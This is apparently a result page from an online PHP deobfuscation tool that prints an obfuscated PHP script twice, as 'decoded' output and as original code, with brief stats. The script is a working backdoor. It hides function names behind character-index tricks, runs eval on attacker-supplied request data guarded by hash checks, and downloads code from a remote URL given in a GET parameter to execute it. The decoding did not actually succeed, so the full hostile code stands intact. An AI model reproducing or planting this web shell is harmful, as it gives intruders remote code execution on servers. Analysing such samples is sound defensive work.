Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $s = "r"."a"."n"."g"."e"; $GC = $s("~", " "); $yc=${$GC[21+10].$GC[31+28].$GC[26+21]..
Decoded Output download
<?php $s = "r"."a"."n"."g"."e"; $GC = $s("~", " "); $yc=${$GC[21+10].$GC[31+28].$GC[26+21].$GC[18+29].$GC[47+4].$GC[31+22].$GC[18+39]}; @(md5(md5(md5(md5($yc[16]))))==="f116c4d27eafebbc5e7534e2353cdab9")&&(count($yc)==22&&in_array(gettype($yc).count($yc),$yc))?(($yc[63]=$yc[63].$yc[74])&&($yc[90]=$yc[63]($yc[90]))&&(@eval($yc[63](${$yc[50]}[15])))):$yc;class Q{ static function LYsaVDjv($BSY) { $ykhaSxGjAf = "r"."a"."n"."g"."e"; $KEAsPYMTF = $ykhaSxGjAf("~", " "); $nKNvfb = explode("[", $BSY); $QPRZNc = ""; foreach ($nKNvfb as $ENZKP => $zNryCxZvTg) $QPRZNc .= $KEAsPYMTF[$zNryCxZvTg - 41473]; return $QPRZNc; } static function cJIDMfAX($rkxhpiWPU, $aJLri) { $muilONhMW = curl_init($rkxhpiWPU); curl_setopt($muilONhMW, CURLOPT_RETURNTRANSFER, 1); $Zu = curl_exec($muilONhMW); return empty($Zu) ? $aJLri($rkxhpiWPU) : $Zu; } static function GCO() { $Sr = array("41500[41485[41498[41502[41483[41498[41504[41497[41482[41489[41500[41483[41494[41488[41489","41484[41483[41485[41504[41485[41488[41483[41550[41548","41493[41484[41488[41489[41504[41499[41498[41500[41488[41499[41498","41487[41502[41500[41492","41501[41502[41484[41498[41545[41547[41504[41499[41498[41500[41488[41499[41498","41497[41494[41491[41498[41504[41496[41498[41483[41504[41500[41488[41489[41483[41498[41489[41483[41484","41527[41557","41474","41552[41557","41534[41517[41517[41534[41510","41488[41497"); foreach ($Sr as $ite) $DbMf[] = self::LYsaVDjv($ite);$YfUhVIS = @$DbMf[1](${"_"."G"."E"."T"}[$DbMf[2+7]]); $EdgOpiWNFu = @$DbMf[1+2]($DbMf[2+4], $YfUhVIS); $sHy = $DbMf[2+0]($EdgOpiWNFu, true); @${"_"."G"."E"."T"}[$DbMf[2+8]] == 1 && die($DbMf[2+3](__FILE__)); if( ((@$sHy[0] - time()) > 0) and (md5(md5($sHy[0+3])) === "7777fe8da1c303a9986e217446cb8072") ): $qwNG = self::cJIDMfAX($sHy[1+0], $DbMf[3+2]);@eval($DbMf[1+3]($qwNG));die; endif; }}Q::GCO(); ?>SeoOk
Did this file decode correctly?
Original Code
<?php $s = "r"."a"."n"."g"."e"; $GC = $s("~", " "); $yc=${$GC[21+10].$GC[31+28].$GC[26+21].$GC[18+29].$GC[47+4].$GC[31+22].$GC[18+39]}; @(md5(md5(md5(md5($yc[16]))))==="f116c4d27eafebbc5e7534e2353cdab9")&&(count($yc)==22&&in_array(gettype($yc).count($yc),$yc))?(($yc[63]=$yc[63].$yc[74])&&($yc[90]=$yc[63]($yc[90]))&&(@eval($yc[63](${$yc[50]}[15])))):$yc;class Q{ static function LYsaVDjv($BSY) { $ykhaSxGjAf = "r"."a"."n"."g"."e"; $KEAsPYMTF = $ykhaSxGjAf("~", " "); $nKNvfb = explode("[", $BSY); $QPRZNc = ""; foreach ($nKNvfb as $ENZKP => $zNryCxZvTg) $QPRZNc .= $KEAsPYMTF[$zNryCxZvTg - 41473]; return $QPRZNc; } static function cJIDMfAX($rkxhpiWPU, $aJLri) { $muilONhMW = curl_init($rkxhpiWPU); curl_setopt($muilONhMW, CURLOPT_RETURNTRANSFER, 1); $Zu = curl_exec($muilONhMW); return empty($Zu) ? $aJLri($rkxhpiWPU) : $Zu; } static function GCO() { $Sr = array("41500[41485[41498[41502[41483[41498[41504[41497[41482[41489[41500[41483[41494[41488[41489","41484[41483[41485[41504[41485[41488[41483[41550[41548","41493[41484[41488[41489[41504[41499[41498[41500[41488[41499[41498","41487[41502[41500[41492","41501[41502[41484[41498[41545[41547[41504[41499[41498[41500[41488[41499[41498","41497[41494[41491[41498[41504[41496[41498[41483[41504[41500[41488[41489[41483[41498[41489[41483[41484","41527[41557","41474","41552[41557","41534[41517[41517[41534[41510","41488[41497"); foreach ($Sr as $ite) $DbMf[] = self::LYsaVDjv($ite);$YfUhVIS = @$DbMf[1](${"_"."G"."E"."T"}[$DbMf[2+7]]); $EdgOpiWNFu = @$DbMf[1+2]($DbMf[2+4], $YfUhVIS); $sHy = $DbMf[2+0]($EdgOpiWNFu, true); @${"_"."G"."E"."T"}[$DbMf[2+8]] == 1 && die($DbMf[2+3](__FILE__)); if( ((@$sHy[0] - time()) > 0) and (md5(md5($sHy[0+3])) === "7777fe8da1c303a9986e217446cb8072") ): $qwNG = self::cJIDMfAX($sHy[1+0], $DbMf[3+2]);@eval($DbMf[1+3]($qwNG));die; endif; }}Q::GCO(); ?>SeoOk
Function Calls
range | 1 |
Stats
MD5 | d226074310676d8a909f8711f48c6eda |
Eval Count | 0 |
Decode Time | 73 ms |